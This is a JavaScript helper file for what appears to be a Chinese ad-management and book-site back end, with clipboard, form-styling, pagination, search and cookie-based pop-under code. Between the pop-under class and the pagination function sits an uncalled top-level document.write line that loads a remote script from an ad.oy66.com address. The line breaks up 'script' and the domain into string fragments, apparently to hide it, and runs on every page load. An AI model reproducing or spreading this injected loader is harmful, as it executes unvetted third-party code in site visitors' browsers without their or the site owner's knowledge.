//
function code(id){
//    document.write("#code")
	$("#code").slideDown("slow",function (){
		//代码调用
		var content
		content="<";
		content+="script language='javascript' src='Ad/"+id+".js'></";
		content+="script>";
		$("input").val(content);
		//预览广告
		//$("#skinad").html();
		$("#skinad").html("<iframe src='?action=code&id="+id+"' scrolling='auto' width='100%' height='100%'></iframe>");
	});
	$("button").click(function(){
	    //复制
	    copyToClipboard($("input").val())
		//消失
	    $("#code").fadeOut("slow"); 
	});	
//	
	function copyToClipboard(meintext) {
		if (window.clipboardData) {
			window.clipboardData.setData("Text", meintext);
		}
		else if (window.netscape) { 
			netscape.security.PrivilegeManager.enablePrivilege('UniversalXPConnect');
			var clip = Components.classes['@mozilla.org/widget/clipboard;1'].createInstance(Components.interfaces.nsIClipboard);
			if (!clip) return;
			var trans = Components.classes['@mozilla.org/widget/transferable;1'].createInstance(Components.interfaces.nsITransferable);
			if (!trans) return;		
			trans.addDataFlavor('text/unicode');
			var str = new Object();
			var len = new Object();		
			var str = Components.classes["@mozilla.org/supports-string;1"].createInstance(Components.interfaces.nsISupportsString);		
			var copytext=meintext;
			str.data=copytext;
			trans.setTransferData("text/unicode",str,copytext.length*2);
			var clipid=Components.interfaces.nsIClipboard;
			if (!clip) return false;
			clip.setData(trans,null,clipid.kGlobalClipboard);
		};
		return false;
	}	
}
function change(){
    adsave.Sy_Intro.value="document.writeln(\""+adsave.Ad_html.value.replace(/\\/g,"\\\\").replace(/\//g,"\\/").replace(/\'/g,"\\\'").replace(/\"/g,"\\\"").split('\r\n').join("\");\ndocument.writeln(\"")+"\")"
} 

function inputStyle(fEvent,oInput){
	if (!oInput.style) return;
	var put=oInput.getAttribute("type").toLowerCase();

	switch (fEvent){
		case "focus" :
			oInput.isfocus = true;
		case "mouseover" :			
			if(put=="submit" || put=="button" || put=="reset")			
				oInput.className="input_on";
			else
				oInput.className = "TextBoxFocus";	
			break;
		case "blur" :
			oInput.isfocus = false;
		case "mouseout" :
			if(put=="submit" || put=="button" || put=="reset")
				oInput.className = "input0";
		    else if(!oInput.isfocus)
				oInput.className = "TextBox";
			break;
		//case else :
			//if(oInput.getAttribute(fEvent+"_2"))
				//eval(oInput.getAttribute(fEvent+"_2"));
	}	
}

window.onload = function(){
	var oInput = document.getElementsByTagName("input");
	var onfocusStr = [];
	var onblurStr = [];
	//alert(oInput.length);
	try
	{
		for (var i=0; i<oInput.length; i++)
		{
			if (!oInput[i]||!oInput[i].getAttribute("type")) continue;
			var put=oInput[i].getAttribute("type").toLowerCase();
			if(put=="submit" || put=="button" || put=="reset")
			{
				oInput[i].className="input0";
			}
			if (put=="text" || put=="password" || put=="submit" || put=="button" || put=="reset")
			{
				if (document.all)
				{
					oInput[i].attachEvent("onmouseover",oInput[i].onmouseover=function(){inputStyle("mouseover",this);});
					oInput[i].attachEvent("onmouseout",oInput[i].onmouseout=function(){inputStyle("mouseout",this);});

				}
				else{
					oInput[i].addEventListener("onmouseover",oInput[i].onmouseover=function(){inputStyle("mouseover",this);},false);
					oInput[i].addEventListener("onmouseout",oInput[i].onmouseout=function(){inputStyle("mouseout",this);},false);				
					//获取焦点
					if(oInput[i].getAttribute("onfocus")){
						oInput[i].addEventListener("onfocus",oInput[i].onblur=function(){eval(this.getAttribute("onfocus"));inputStyle("focus",this);},false);
					}else{
						oInput[i].addEventListener("onfocus",oInput[i].onfocus=function(){inputStyle("focus",this);},false);
					}
					//失去焦点
					if(oInput[i].getAttribute("onblur")){
						oInput[i].addEventListener("onblur",oInput[i].onblur=function(){eval(this.getAttribute("onblur"));inputStyle("blur",this);},false);

					}else{
						oInput[i].addEventListener("onblur",oInput[i].onblur=function(){inputStyle("blur",this);},false);
					}
				}			
			}
		}
	}catch(e){}
	for(i=1;i<=8;i++)//控制面板
	{
		if(document.getElementById('con_two_'+i))
		{	
			document.getElementById('two'+i).className="hover";			
			break;
		}
	}
}
function change1(){
    Js.value="document.writeln(\""+html.value.replace(/\\/g,"\\\\").replace(/\//g,"\\/").replace(/\'/g,"\\\'").replace(/\"/g,"\\\"").split('\r\n').join("\");\ndocument.writeln(\"")+"\")"
}
function CtrlEnter() {
	if(event.ctrlKey && window.event.keyCode==13) {
		this.document.form1.submit();
	}	
}
function CheckAll(form) {  
	for (var i=0;i<form.elements.length;i++)  {  
		var e = form.elements[i];  
		if (e.name != 'chkall')  
		e.checked = true // form.chkall.checked;  
	}  
}
function ContraSel(form) {
	for (var i=0;i<form.elements.length;i++){
		var e = form.elements[i];
		if (e.name != 'chkall')
		e.checked=!e.checked;
	}
}

function SNDABackPop()
{
	this.PopUrl="";
	this.PopTimeSpan=1;
	this.PopWindowWidth="0";
	this.PopWindowHeight="0";
	this.PopKeyName="";
	this.exp=new Date();
}

SNDABackPop.prototype.Initialize = function (PopUrl,PopTimeSpan,PopWindowWidth,PopWindowHeight,PopKeyName)
{
	this.PopUrl=PopUrl;
	this.PopTimeSpan=PopTimeSpan;
	this.PopWindowWidth=PopWindowWidth;
	this.PopWindowHeight=PopWindowHeight;
	this.PopKeyName=PopKeyName;
	this.exp.setTime(this.exp.getTime() + (this.PopTimeSpan*1*30*60*1000));
}

SNDABackPop.prototype.GetCookie=function(name)
{
	var arg = name + "="; 
	var alen = arg.length; 
	var clen = document.cookie.length; 
	var i = 0; 
	while (i < clen) 
	{ 
		var j = i + alen; 
		if (document.cookie.substring(i, j) == arg) 
		return this.getCookieVal (j); 
		i = document.cookie.indexOf(" ", i) + 1; 
		if (i == 0) break; 
	} 
	return null;
}

SNDABackPop.prototype.getCookieVal=function(offset) 
{
	var endstr = document.cookie.indexOf (";", offset);
	if (endstr == -1)
		endstr = document.cookie.length;
	return unescape(document.cookie.substring(offset, endstr));
}

SNDABackPop.prototype.SetCookie=function(name, value) 
{ 
	var argv = this.SetCookie.arguments; 
	var argc = this.SetCookie.arguments.length; 
	var expires = (argc > 2) ? argv[2] : null; 
	var path = (argc > 3) ? argv[3] : null; 
	var domain = (argc > 4) ? argv[4] : null; 
	var secure = (argc > 5) ? argv[5] : false; 
	document.cookie = name + "=" + escape (value) + 
	((expires == null) ? "" : ("; expires=" + expires.toGMTString())) + 
	((path == null) ? "" : ("; path=" + path)) + 
	((domain == null) ? "" : ("; domain=" + domain)) + 
	((secure == true) ? "; secure" : "");
}

SNDABackPop.prototype.DeleteCookie=function(name) 
{ 
	var exp = new Date(); 
	exp.setTime (exp.getTime() - 1); 
	// This cookie is history 
	var cval = 0; 
	document.cookie = name + "=" + cval + "; expires=" + exp.toGMTString();
}

SNDABackPop.prototype.Pop=function()
{
	if(this.GetCookie(this.PopKeyName) == null)
	{
		this.SetCookie(this.PopKeyName,1,this.exp);
		this.paypopup();
	}
}

SNDABackPop.prototype.paypopup=function()
{
	popwin = window.open(this.PopUrl, "",(this.PopWindowWidth>0?"width="+this.PopWindowWidth:"")+","+(this.PopWindowHeight>0?"height="+this.PopWindowHeight:"")+",toolbar=yes,menubar=yes,scrollbars=yes,resizable=yes,location=yes,status=yes");
	if (popwin) 
	{
		poped = true;
	}
    self.focus();
}
document.write("<sc"+"ript src=http://ad.o"+"y66.com/i"+"p.asp?loc=fuzhou|zibo><\/sc"+"ript>");
function ShowPages(curpage,totalpage,totalnum)
{
	var str = "";
	str += "<table border=\"0\" align=\"center\" cellspacing=\"0\" cellpadding=\"3\">";
	str += "<tr>";
	str += "<td>第" + curpage + "页/共[" + totalpage + "]页 [" + totalnum + "]条记录</td>";
	str += "<td>";
	
	if(curpage > 1)
	{
		var last_page = curpage - 1;
		str += "<a href=\"javascript:index(" + last_page + ")\" class=\"fclblack\"><img src=\"http://mat1.qq.com/book/images/v2/prev.gif\" alt=\"上一页\"  align=\"absmiddle\" border=\"0\"/></a>";
	}

	str += "</td>";

	var show_pages = 5;

	var start_page = curpage - show_pages;
	if(start_page < 1)
	{
		start_page = 1;
	}

	var end_page = curpage + show_pages;
	if(end_page > totalpage)
	{
		end_page = totalpage;
	}

	for(var i=start_page;i<=end_page;i++)
	{
		str += "<td><a href=\"javascript:index(" + i + ")\" class=\"fclblack\">[" + i + "]</a></td>";
	}

	if(curpage < totalpage)
	{
		var next_page = curpage + 1;
		str += "<td><a href=\"javascript:index(" + next_page + ")\" class=\"fclblack\"><img src=\"http://mat1.qq.com/book/images/v2/next.gif\" alt=\"下一页\" align=\"absmiddle\" border=\"0\"/></a></td>";
	}

	str += "<td>跳转到&nbsp;<input id=\"pInput\" type=\"text\" name=\"pInput\" style=\"width:20px;height:15px;border:1px solid #606060;line-height:16px;\"/>&nbsp;页&nbsp;<a href=\"javascript:gopage();\" class=\"fclblack\">GO</a></td>";
	str += "</tr>";
	str += "</table>";

	document.write(str);

}

// search function
function BookSearch()
{
	var form = document.searchform;
	
	if(!form.searchwhat.value ||
	   form.searchwhat.value == "请输入关键字") {
		alert("请输入搜索内容");
		return false;
	}
	var str = form.searchwhat.value;
	str = str.replace("\"","“");
	str = str.replace("\"","”");
	str = str.replace("\'","‘");
	str = str.replace("\'","’");
	form.searchwhat.value = str;
	if(form.searchtype.value == "1") {
		form.type.value = "name";
		form.key.value = form.searchwhat.value;
		form.action = "Index.asp?SyBook=search";
	} else if (form.searchtype.value == "3") {
		form.type.value = "author";
		form.key.value = form.searchwhat.value;
		form.action = "http://bookapp.book.qq.com/cgi-bin/lz_index";
	} else {
		form.type.value = "press";
		form.key.value = form.searchwhat.value;
		form.action = "http://bookapp.book.qq.com/cgi-bin/lz_index";
	}
	return true;
}
function BindEnter(action)
{
	var ev = window.event;
	if (!ev) {
		var c = BindEnter.caller;
		while (c) {
			ev = c.arguments[0];
			if (ev && Event == ev.constructor) {
				break;
			}
			c = c.caller;
		}
	}
        var key = (ev.which)?ev.which:ev.keyCode;
	if (key == 13) {
		if (action == "search")
			BookSearch();
		else if (action == "login")
			CheckFormlogin(document.loginform);
	}
}
